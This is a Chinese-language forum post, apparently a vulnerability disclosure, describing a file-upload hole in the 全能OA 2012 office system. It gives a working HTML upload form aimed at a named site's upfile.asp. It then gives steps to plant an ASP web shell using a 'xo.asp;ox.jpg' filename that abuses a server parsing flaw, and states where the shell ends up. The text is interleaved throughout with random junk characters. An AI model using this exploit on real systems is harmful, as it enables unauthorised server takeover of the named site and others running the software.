全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
​
系统介绍：

' t+ L# I8 j  [" m) \5 A# w全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。

主要功能：
公司通告
' Z7 o+ {6 l) _; Y, I$ Z) p; s工作计划
( ~1 V# Z1 L6 a2 u通讯助理
# N' ^/ X/ R) Z! X客户资源
5 Y( O% ?; b! u5 I! s1 I我的公文
公文传阅
; K0 ~3 o- z+ |) N公共资源
资源预约
今日考勤
# \; d1 M5 n4 N# U* R个人计划
个人通讯录
2 A5 o; j: Z1 c& _6 N  B个人基本档案
! z/ o2 D& _4 x& ]* S- y& h未读邮件
+ S, T6 ^+ |3 e, M3 f8 }7 T+ l发邮件
收件夹
3 Q) k$ `4 D/ X% Y. i# P- P寄件夹
网络硬盘
网络会议
网络调查
交流论坛
" y& d: l, C( z9 L1 G7 T& i$ d
6 q) _2 R  Y# S: @3 _  p有兴趣测试的朋友可以下源码看看
/ Q. a' V) C0 P; j  \
源码下载：

5 m* N1 Q; R! Shttp://www.mycodes.net/30/4750.htm
/ P- ], N0 N, E# V: Z  w
漏洞介绍：
$ W$ B8 T. P! b$ f4 M8 Z) L+ a
由upfile.asp上传文件漏洞引起

测试方法：
: m# L5 R$ H! ^" P& V+ N- O8 O- {
使用名小子上传http://www.itlynn.com/upfile.asp即可

& a4 B6 K3 }# `如果upfile.asp文件被删除不存在。

9 |, F! |3 I) K  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。
" m; d- v# y+ b
7 {/ z  z3 @9 C, y5 J9 g/ m如果存在那么将如下代码保存为upfile.html。

然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。
- ~4 d( k4 M5 E4 a
5 f4 S( Y: Y) ?' Q; S
% k/ X0 p& n' ?" ?
01 <table border='0' align="center" cellpadding="5">
: z' f( l/ J% ]9 m
02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">
2 l& V5 Y2 H1 ]5 `- D( \1 d6 H
) z4 ]  x4 w2 Q03 <tr>
8 U0 @% H1 q! L  ~' @* b% |
04             <td>报错：</td>

# j& F5 J5 P* y6 I+ g6 C8 B05             <td><input type='radio' name='errnumber' value='0'>

- h; Y0 i" z# t06               自动更名
8 a7 c1 }. ]& _' B
- p' l- u/ g/ ?/ t07               <input type='radio' name='errnumber' value='1' checked>
3 u% d7 x0 O4 w$ M
! f1 W/ e1 q" |08               报错方式

! f# F  h+ ^$ ?  x+ W/ M09               <input type='radio' name='errnumber' value='2'>
9 Z& |1 i3 C: @% e9 `
10               直接覆盖</td>

11           </tr>

! S) e+ s5 S( z% j  N, v12           <tr>

" |5 Y9 Y7 K  R: R- f13             <td>主题：</td>
: x  Q- c! ~8 z2 l( a
14             <td><input type='text' name='filename' size='30'></td>
: Z7 G; o# l% q2 M- K# ]
15           </tr>

16           <tr>
$ p& A, V  d& D( Z7 A
. ~9 t. T1 \+ _% g7 a17             <td>文件：</td>

  @8 h+ a( _# d18             <td><input type="file"name="fruit"size="30"></td>

* _3 o" C& K' x: p+ M19           </tr>
  R5 t& [( U; t; @' j
+ C9 t; f. [) Y" P! i20           <tr>

21             <td valign='top'>简介：</td>
: j. a. F' S% l6 v/ g
, u& a7 T' V% A0 a. M( N3 a22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>

3 o. p7 ]( N# Q9 T" ?, E. [5 t/ g23           </tr>
6 C% S# N, c; _& P
2 E: H8 Z8 q* G+ _  Q5 a: Y24   
% q0 [" y/ B) H: N# H8 T1 K
25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>

! L: C" Z0 C( [- ~3 G0 {5 Z& d& z26           </tr>

27         </form>
" I5 r- J" v6 i* z$ ^0 t6 m3 ]2 }
4 `) K% r3 G9 |4 _! D+ d然后打开上传一个文件名为xo.asp;ox.jpg的文件。


! ~* Q2 N: ?0 y+ x5 u' E# G
上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg

此漏洞需要配合解析漏洞利用。